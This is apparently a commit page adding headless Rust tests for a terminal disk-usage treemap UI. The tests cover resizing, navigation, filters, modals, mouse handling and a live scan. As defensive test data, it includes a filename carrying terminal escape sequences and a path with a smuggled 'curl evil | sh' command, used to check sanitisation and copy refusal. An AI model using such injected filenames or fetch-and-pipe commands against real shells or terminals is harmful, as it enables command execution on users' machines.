rust: tui (canvas renderer, views, modals, crossterm event loop)
Port of internal/tui. Bubble Tea's message loop is replaced by a crossterm input thread, timers and background commands feeding one loop; the frame cache, canvas, colour quantisation, LOD treemap, selection persistence and modal architecture are kept. Frames are diffed against the previous one per line and per style run. Exposes tui::bench::BenchModel and big_tree for benchmarks.
This commit is contained in:
@@ -0,0 +1,513 @@
|
||||
//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go).
|
||||
|
||||
use super::bench::opts_for;
|
||||
use super::color256::{quant16, quant256};
|
||||
use super::canvas::rgb;
|
||||
use super::mapview::TOP_MIN_AREA;
|
||||
use super::model::*;
|
||||
use super::modals::new_info_modal;
|
||||
use crate::cancel::Cancel;
|
||||
use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED};
|
||||
use crate::scan;
|
||||
use crate::textutil;
|
||||
use crate::treemap::Block;
|
||||
use std::os::unix::ffi::OsStrExt;
|
||||
use std::sync::{Arc, RwLock};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const HOSTILE: &[u8] = b"evil\x1b]0;pwned\x07\x1b[2J.iso";
|
||||
|
||||
fn add_file(t: &mut Tree, p: NodeId, name: &[u8], size: i64) -> NodeId {
|
||||
let id = t.add(p, name, Kind::File);
|
||||
let n = t.node_mut(id);
|
||||
(n.size, n.alloc) = (size, size);
|
||||
n.cat = category_for(&ext(name), false, false);
|
||||
id
|
||||
}
|
||||
|
||||
fn add_dir(t: &mut Tree, p: NodeId, name: &[u8]) -> NodeId {
|
||||
let id = t.add(p, name, Kind::Dir);
|
||||
t.node_mut(id).flags |= FLAG_SCANNED;
|
||||
id
|
||||
}
|
||||
|
||||
fn test_tree() -> Tree {
|
||||
let mut t = Tree::new(b"/srv", Kind::Dir);
|
||||
let file = |t: &mut Tree, p, name: &[u8], size| {
|
||||
let id = add_file(t, p, name, size);
|
||||
t.node_mut(id).mtime = 1_700_000_000_000_000_000;
|
||||
};
|
||||
let backups = add_dir(&mut t, 0, b"backups");
|
||||
for i in 0..40i64 {
|
||||
file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30);
|
||||
}
|
||||
let vms = add_dir(&mut t, 0, b"vms");
|
||||
file(&mut t, vms, b"ubuntu.qcow2", 86 << 30);
|
||||
file(&mut t, vms, b"win.vmdk", 40 << 30);
|
||||
let media = add_dir(&mut t, 0, b"media");
|
||||
let photos = add_dir(&mut t, media, "photos 日本語".as_bytes());
|
||||
for i in 0..300i64 {
|
||||
file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20);
|
||||
}
|
||||
file(&mut t, media, HOSTILE, 9 << 30);
|
||||
file(&mut t, media, "👨👩👧 family.mp4".as_bytes(), 12 << 30);
|
||||
let tiny = add_dir(&mut t, 0, b"tiny");
|
||||
for i in 0..2000 {
|
||||
file(&mut t, tiny, format!("f{i}").as_bytes(), 100);
|
||||
}
|
||||
file(&mut t, 0, b"README", 10);
|
||||
t.recompute();
|
||||
t.stats.complete = true;
|
||||
t
|
||||
}
|
||||
|
||||
fn model_for(t: Tree) -> Model {
|
||||
let tr = Arc::new(RwLock::new(t));
|
||||
let mut m = Model::new(opts_for(tr.clone()), None, tr, Cancel::new());
|
||||
m.profile = Profile::TrueColor;
|
||||
m
|
||||
}
|
||||
|
||||
fn new_test_model() -> Model {
|
||||
model_for(test_tree())
|
||||
}
|
||||
|
||||
fn send(m: &mut Model, msgs: Vec<Msg>) {
|
||||
for msg in msgs {
|
||||
m.update(msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn key(s: &str) -> Msg {
|
||||
Msg::Key(Key::from_name(s))
|
||||
}
|
||||
|
||||
fn size(w: i32, h: i32) -> Msg {
|
||||
Msg::Size(w, h)
|
||||
}
|
||||
|
||||
/// Removes CSI sequences.
|
||||
fn strip(s: &str) -> String {
|
||||
let mut out = String::with_capacity(s.len());
|
||||
let mut it = s.chars();
|
||||
while let Some(c) = it.next() {
|
||||
if c == '\x1b' && it.clone().next() == Some('[') {
|
||||
it.next();
|
||||
for c in it.by_ref() {
|
||||
if ('\x40'..='\x7e').contains(&c) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
out.push(c);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Verifies the rendered frame exactly fills w×h cells and that no filename
|
||||
/// control sequence leaked through.
|
||||
fn check_frame(m: &mut Model, w: i32, h: i32) -> String {
|
||||
let content = m.view().to_string();
|
||||
assert!(
|
||||
!content.contains("\x1b]") && !content.contains('\x07') && !content.contains("\x1b[2J"),
|
||||
"terminal control sequence from a filename leaked into the frame"
|
||||
);
|
||||
let lines: Vec<&str> = content.split('\n').collect();
|
||||
assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len());
|
||||
for (i, l) in lines.iter().enumerate() {
|
||||
let got = textutil::width(&strip(l)) as i32;
|
||||
assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l));
|
||||
}
|
||||
strip(&content)
|
||||
}
|
||||
|
||||
fn find(m: &Model, name: &[u8]) -> NodeId {
|
||||
let t = m.tree.read().unwrap();
|
||||
let mut found = None;
|
||||
t.walk(0, |id, n| {
|
||||
if &*n.name == name {
|
||||
found = Some(id);
|
||||
}
|
||||
true
|
||||
});
|
||||
found.expect("node not found")
|
||||
}
|
||||
|
||||
fn find_block(bs: &[Block], id: i64) -> Block {
|
||||
bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() })
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resize_transitions_preserve_state() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(120, 40)]);
|
||||
check_frame(&mut m, 120, 40);
|
||||
// Zoom into media and select something that is not the default.
|
||||
let media = find(&m, b"media");
|
||||
(m.sel, m.user_sel) = (media as i64, true);
|
||||
send(&mut m, vec![key("space")]);
|
||||
assert_eq!(m.zoom, media);
|
||||
check_frame(&mut m, 120, 40);
|
||||
send(&mut m, vec![key("right")]);
|
||||
let sel = m.sel;
|
||||
for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] {
|
||||
send(&mut m, vec![size(w, h)]);
|
||||
check_frame(&mut m, w, h);
|
||||
assert_eq!(m.zoom, media, "{w}x{h}: zoom lost");
|
||||
assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel);
|
||||
}
|
||||
// The layout must be recomputed for the new geometry, not stretched.
|
||||
let l = m.tm.clone().unwrap();
|
||||
assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect);
|
||||
let r = l.rect;
|
||||
for b in &l.blocks {
|
||||
let br = b.rect;
|
||||
assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resize_storm() {
|
||||
let mut m = new_test_model();
|
||||
let mut rnd = 1u64;
|
||||
let mut intn = |n: u64| {
|
||||
rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
|
||||
(rnd >> 33) % n
|
||||
};
|
||||
send(&mut m, vec![size(120, 40)]);
|
||||
m.view();
|
||||
send(&mut m, vec![key("right"), key("down")]);
|
||||
let sel = m.sel;
|
||||
for i in 0..300 {
|
||||
let (w, h) = (20 + intn(300) as i32, 5 + intn(90) as i32);
|
||||
send(&mut m, vec![size(w, h)]);
|
||||
if i % 7 == 0 {
|
||||
m.view(); // renders interleave with resizes like the real event loop
|
||||
}
|
||||
}
|
||||
send(&mut m, vec![size(150, 45)]);
|
||||
check_frame(&mut m, 150, 45);
|
||||
assert_eq!(m.sel, sel, "selection lost in resize storm");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn modal_survives_resize() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(120, 40), key("enter")]);
|
||||
assert_eq!(m.modals.len(), 1, "Enter should open the info modal");
|
||||
for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] {
|
||||
send(&mut m, vec![size(w, h)]);
|
||||
let out = check_frame(&mut m, w, h);
|
||||
assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}");
|
||||
let f = &m.modals[0];
|
||||
assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h);
|
||||
}
|
||||
// Scrolling in a tiny terminal must stay in range.
|
||||
send(&mut m, vec![size(45, 12)]);
|
||||
for _ in 0..100 {
|
||||
send(&mut m, vec![key("down")]);
|
||||
}
|
||||
check_frame(&mut m, 45, 12);
|
||||
let f = &m.modals[0];
|
||||
assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n);
|
||||
send(&mut m, vec![key("esc")]);
|
||||
assert!(m.modals.is_empty(), "Esc should close the modal");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn spatial_navigation_uses_geometry() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(160, 45)]);
|
||||
m.view();
|
||||
let blocks = m.tm.clone().unwrap().blocks.clone();
|
||||
for dir in ["right", "down", "left", "up"] {
|
||||
let before = m.sel;
|
||||
send(&mut m, vec![key(dir)]);
|
||||
m.view();
|
||||
if m.sel == before {
|
||||
continue; // edge of the map
|
||||
}
|
||||
let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect);
|
||||
let ok = match dir {
|
||||
"right" => b.x >= a.x + a.w,
|
||||
"left" => b.x + b.w <= a.x,
|
||||
"down" => b.y >= a.y + a.h,
|
||||
_ => b.y + b.h <= a.y,
|
||||
};
|
||||
assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn zoom_breadcrumbs_and_home() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(100, 30)]);
|
||||
let media = find(&m, b"media");
|
||||
let photos = find(&m, "photos 日本語".as_bytes());
|
||||
(m.sel, m.user_sel) = (media as i64, true);
|
||||
send(&mut m, vec![key("space")]);
|
||||
m.sel = photos as i64;
|
||||
send(&mut m, vec![key("space")]);
|
||||
assert_eq!(m.zoom, photos, "did not zoom into photos");
|
||||
let out = check_frame(&mut m, 100, 30);
|
||||
assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}");
|
||||
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
|
||||
send(&mut m, vec![size(42, 12)]);
|
||||
let out = check_frame(&mut m, 42, 12);
|
||||
assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}");
|
||||
send(&mut m, vec![key("backspace")]);
|
||||
assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel);
|
||||
send(&mut m, vec![key("home")]);
|
||||
assert_eq!(m.zoom, 0, "home did not return to root");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn filter_transforms_map() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(120, 40), key("/")]);
|
||||
for c in "ext = gz".chars() {
|
||||
send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]);
|
||||
}
|
||||
assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err);
|
||||
let msgs = m.apply_filter().run_sync();
|
||||
send(&mut m, msgs);
|
||||
send(&mut m, vec![key("enter")]);
|
||||
assert!(m.search.result.is_some(), "no filter result");
|
||||
let out = check_frame(&mut m, 120, 40);
|
||||
assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}");
|
||||
assert!(out.contains("FILTER"), "filter indicator missing");
|
||||
send(&mut m, vec![key("esc")]);
|
||||
assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter");
|
||||
let out = check_frame(&mut m, 120, 40);
|
||||
assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hostile_name_sanitised_in_modal() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(120, 40)]);
|
||||
let id = find(&m, HOSTILE);
|
||||
let t = m.tree.clone();
|
||||
let md = new_info_modal(&m, &t.read().unwrap(), id);
|
||||
m.open_modal(md);
|
||||
let out = check_frame(&mut m, 120, 40);
|
||||
assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn views_render_at_many_sizes() {
|
||||
let mut m = new_test_model();
|
||||
for _ in 0..m.views.len() {
|
||||
for (w, h) in [(40, 10), (80, 24), (150, 45), (91, 22)] {
|
||||
send(&mut m, vec![size(w, h)]);
|
||||
check_frame(&mut m, w, h);
|
||||
send(&mut m, vec![key("down"), key("down")]);
|
||||
check_frame(&mut m, w, h);
|
||||
}
|
||||
send(&mut m, vec![key("tab")]);
|
||||
}
|
||||
send(&mut m, vec![key("?")]);
|
||||
send(&mut m, vec![size(60, 15)]);
|
||||
check_frame(&mut m, 60, 15);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn level_of_detail_groups_tiny_files() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(100, 30)]);
|
||||
let tiny = find(&m, b"tiny");
|
||||
let t = m.tree.clone();
|
||||
m.zoom_to(&t.read().unwrap(), tiny);
|
||||
m.view();
|
||||
let l = m.tm.clone().unwrap();
|
||||
assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len());
|
||||
assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ctrl_c_quits_when_idle() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(80, 24)]);
|
||||
m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true }));
|
||||
assert!(m.quit, "Ctrl+C should quit when no scan runs");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mouse() {
|
||||
let mut m = new_test_model();
|
||||
send(&mut m, vec![size(120, 40)]);
|
||||
m.view();
|
||||
// Click the centre of a block other than the selected one.
|
||||
let target = {
|
||||
let t = m.tree.read().unwrap();
|
||||
m.tm.as_ref().unwrap().blocks.iter().copied()
|
||||
.find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4)
|
||||
.unwrap()
|
||||
};
|
||||
let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left };
|
||||
send(&mut m, vec![click()]);
|
||||
assert_eq!(m.sel, target.id, "click selected the wrong block");
|
||||
m.view();
|
||||
send(&mut m, vec![click()]); // second click within the double-click window
|
||||
assert_eq!(m.zoom as i64, target.id, "double click should zoom");
|
||||
m.view();
|
||||
send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]);
|
||||
assert_eq!(m.zoom, 0, "wheel down should zoom out");
|
||||
// A modal swallows clicks; clicking outside closes it.
|
||||
send(&mut m, vec![key("?")]);
|
||||
m.view();
|
||||
send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]);
|
||||
assert!(m.modals.is_empty(), "click outside modal should close it");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn quantizers() {
|
||||
assert_eq!(quant16(rgb(10, 12, 8)), 0, "near-black should map to black");
|
||||
let n = quant16(rgb(0xe0, 0x6c, 0x75));
|
||||
assert!(n == 1 || n == 9, "red-ish mapped to {n}");
|
||||
let n = quant256(rgb(40, 48, 30));
|
||||
assert!(n >= 16, "256 quantizer used palette-dependent index {n}");
|
||||
// A dark, slightly tinted shade must land on the grey ramp or a dark
|
||||
// cube entry, not a saturated one like olive (58) or navy (17).
|
||||
assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn colour_depths_render_same_geometry() {
|
||||
for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] {
|
||||
let mut m = new_test_model();
|
||||
m.profile = p;
|
||||
send(&mut m, vec![size(100, 30)]);
|
||||
check_frame(&mut m, 100, 30);
|
||||
}
|
||||
}
|
||||
|
||||
// A filename with a newline would run commands when pasted into a shell.
|
||||
#[test]
|
||||
fn copy_refuses_control_characters() {
|
||||
let mut m = new_test_model();
|
||||
m.copy_path(b"/srv/x\ncurl evil | sh\n");
|
||||
assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast);
|
||||
m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat());
|
||||
assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast);
|
||||
m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes());
|
||||
assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast);
|
||||
}
|
||||
|
||||
// ---- nest_test.go -----------------------------------------------------------
|
||||
|
||||
fn root_tree() -> Tree {
|
||||
let mut t = Tree::new(b"/", Kind::Dir);
|
||||
let mnt = add_dir(&mut t, 0, b"mnt");
|
||||
let raid = add_dir(&mut t, mnt, b"raid");
|
||||
let media = add_dir(&mut t, raid, b"media");
|
||||
for show in ["X-Files", "Simpsons", "Frasier"] {
|
||||
let s = add_dir(&mut t, media, show.as_bytes());
|
||||
for i in 1..=5 {
|
||||
let se = add_dir(&mut t, s, format!("S{i:02}").as_bytes());
|
||||
for e in 1..=20i64 {
|
||||
add_file(&mut t, se, format!("E{e:02}.mkv").as_bytes(), e << 28);
|
||||
}
|
||||
}
|
||||
}
|
||||
let usr = add_dir(&mut t, 0, b"usr");
|
||||
let lib = add_dir(&mut t, usr, b"lib");
|
||||
for i in 0..50i64 {
|
||||
add_file(&mut t, lib, format!("lib{i}.so").as_bytes(), (i + 1) << 22);
|
||||
}
|
||||
let v = add_dir(&mut t, 0, b"var");
|
||||
let log = add_dir(&mut t, v, b"log");
|
||||
add_file(&mut t, log, b"syslog", 2 << 30);
|
||||
t.recompute();
|
||||
t.stats.complete = true;
|
||||
t
|
||||
}
|
||||
|
||||
// A single-child chain (mnt → raid → media) must not use up the nesting
|
||||
// budget: the map at / should reach the seasons and their episodes.
|
||||
#[test]
|
||||
fn nesting_reaches_deep_media() {
|
||||
let mut m = model_for(root_tree());
|
||||
send(&mut m, vec![size(160, 45)]);
|
||||
let out = strip(m.view());
|
||||
assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}");
|
||||
let t = m.tree.read().unwrap();
|
||||
let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count();
|
||||
assert!(files >= 50, "only {files} episode blocks drawn");
|
||||
}
|
||||
|
||||
// Headless, o shows the selected folder in the map instead of launching a
|
||||
// file manager.
|
||||
#[test]
|
||||
fn reveal_headless_zooms_map() {
|
||||
std::env::set_var("DISPLAY", "");
|
||||
std::env::set_var("WAYLAND_DISPLAY", "");
|
||||
let mut m = model_for(root_tree());
|
||||
send(&mut m, vec![size(160, 45)]);
|
||||
let mnt = {
|
||||
let t = m.tree.clone();
|
||||
let g = t.read().unwrap();
|
||||
m.kids_of(&g, m.zoom).ids[0]
|
||||
};
|
||||
m.snapshot = false; // reveal is refused for snapshots
|
||||
(m.sel, m.user_sel) = (mnt as i64, true);
|
||||
send(&mut m, vec![key("o")]);
|
||||
assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom));
|
||||
}
|
||||
|
||||
// ---- live_test.go -----------------------------------------------------------
|
||||
|
||||
/// Renders, navigates, filters and resizes while the scanner mutates the
|
||||
/// inventory, verifying the locking discipline.
|
||||
#[test]
|
||||
fn live_scan_rendering() {
|
||||
let root = scan::tests::TempDir::new("tui-live");
|
||||
for i in 0..30 {
|
||||
let d = root.0.join(format!("d{i:02}")).join("sub");
|
||||
std::fs::create_dir_all(&d).unwrap();
|
||||
for j in 0..40 {
|
||||
std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap();
|
||||
}
|
||||
}
|
||||
let path = root.0.as_os_str().as_bytes().to_vec();
|
||||
let start: StartFn = Arc::new(move |c: Cancel| {
|
||||
let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?;
|
||||
let t = s.tree.clone();
|
||||
Ok((Some(s), t))
|
||||
});
|
||||
let cancel = Cancel::new();
|
||||
let (s, tr) = start(cancel.clone()).unwrap();
|
||||
let mut opts = opts_for(tr.clone());
|
||||
opts.start = start;
|
||||
let mut m = Model::new(opts, s, tr, cancel.clone());
|
||||
let sizes = [(120, 40), (80, 24), (200, 60), (45, 12)];
|
||||
let deadline = Instant::now() + Duration::from_secs(20);
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let (w, h) = sizes[i % sizes.len()];
|
||||
send(&mut m, vec![size(w, h), Msg::Tick]);
|
||||
send(&mut m, vec![key(["right", "down", "left", "up"][i % 4])]);
|
||||
if i % 5 == 0 {
|
||||
send(&mut m, vec![key("tab")]);
|
||||
}
|
||||
if i == 3 {
|
||||
m.search.ed.set("ext = log");
|
||||
let _ = m.query_changed();
|
||||
let msgs = m.apply_filter().run_sync();
|
||||
send(&mut m, msgs);
|
||||
}
|
||||
m.dirty = true;
|
||||
m.view();
|
||||
if m.scanner.as_ref().unwrap().is_done() {
|
||||
let t = m.tree.clone();
|
||||
send(&mut m, vec![Msg::ScanDone(t)]);
|
||||
m.view();
|
||||
assert!(!m.scanning, "scan should be finished");
|
||||
break;
|
||||
}
|
||||
assert!(Instant::now() < deadline, "scan did not finish");
|
||||
i += 1;
|
||||
}
|
||||
cancel.cancel();
|
||||
}
|
||||
Reference in New Issue
Block a user